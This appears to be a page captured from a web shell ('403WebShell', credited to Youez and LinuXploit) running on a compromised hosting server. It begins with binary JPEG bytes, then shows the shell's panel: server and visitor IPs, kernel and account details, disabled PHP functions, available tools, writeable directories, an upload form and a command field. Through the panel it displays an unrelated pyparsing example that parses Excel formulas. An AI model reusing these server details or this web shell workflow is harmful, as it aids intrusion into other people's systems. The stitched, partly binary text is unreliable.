JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.119.41  /  Your IP : 216.73.216.217
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/gsutil/third_party/pyparsing/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/gsutil/third_party/pyparsing/examples/excel_expr.py
# excelExpr.py
#
# Copyright 2010, Paul McGuire
#
# A partial implementation of a parser of Excel formula expressions.
#
import pyparsing as pp
ppc = pp.common

pp.ParserElement.enable_packrat()

EQ, LPAR, RPAR, COLON, COMMA = pp.Suppress.using_each("=():,")
EXCL, DOLLAR = pp.Literal.using_each("!$")
sheet_ref = pp.Word(pp.alphas, pp.alphanums) | pp.QuotedString("'", escQuote="''")
col_ref = pp.Opt(DOLLAR) + pp.Word(pp.alphas, max=2)
row_ref = pp.Opt(DOLLAR) + pp.Word(pp.nums)
cell_ref = pp.Combine(
    pp.Group(pp.Opt(sheet_ref + EXCL)("sheet") + col_ref("col") + row_ref("row"))
)

cell_range = (
        pp.Group(cell_ref("start") + COLON + cell_ref("end"))("range")
        | cell_ref
        | pp.Word(pp.alphas, pp.alphanums)
)

expr = pp.Forward()

COMPARISON_OP = pp.one_of("< = > >= <= != <>")
cond_expr = expr + COMPARISON_OP + expr

if_func = (
    pp.CaselessKeyword("if")
    - LPAR
    + pp.Group(cond_expr)("condition")
    + COMMA
    + pp.Group(expr)("if_true")
    + COMMA
    + pp.Group(expr)("if_false")
    + RPAR
)


def stat_function(name):
    return pp.Group(pp.CaselessKeyword(name) + pp.Group(LPAR + pp.DelimitedList(expr) + RPAR))


sum_func = stat_function("sum")
min_func = stat_function("min")
max_func = stat_function("max")
ave_func = stat_function("ave")
func_call = if_func | sum_func | min_func | max_func | ave_func

mult_op = pp.one_of("* /")
add_op = pp.one_of("+ -")
numeric_literal = ppc.number
operand = numeric_literal | func_call | cell_range | cell_ref
arith_expr = pp.infix_notation(
    operand,
    [
        (mult_op, 2, pp.OpAssoc.LEFT),
        (add_op, 2, pp.OpAssoc.LEFT),
    ],
)

text_operand = pp.dbl_quoted_string | cell_ref
text_expr = pp.infix_notation(
    text_operand,
    [
        ("&", 2, pp.OpAssoc.LEFT),
    ],
)

expr <<= arith_expr | text_expr


def main():
    success, report = (EQ + expr).run_tests(
        """\
        =3*A7+5
        =3*Sheet1!$A$7+5
        =3*'Sheet 1'!$A$7+5
        =3*'O''Reilly''s sheet'!$A$7+5
        =if(Sum(A1:A25)>42,Min(B1:B25),if(Sum(C1:C25)>3.14, (Min(C1:C25)+3)*18,Max(B1:B25)))
        =sum(a1:a25,10,min(b1,c2,d3))
        =if("T"&a2="TTime", "Ready", "Not ready")
    """
    )
    assert success


if __name__ == '__main__':
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit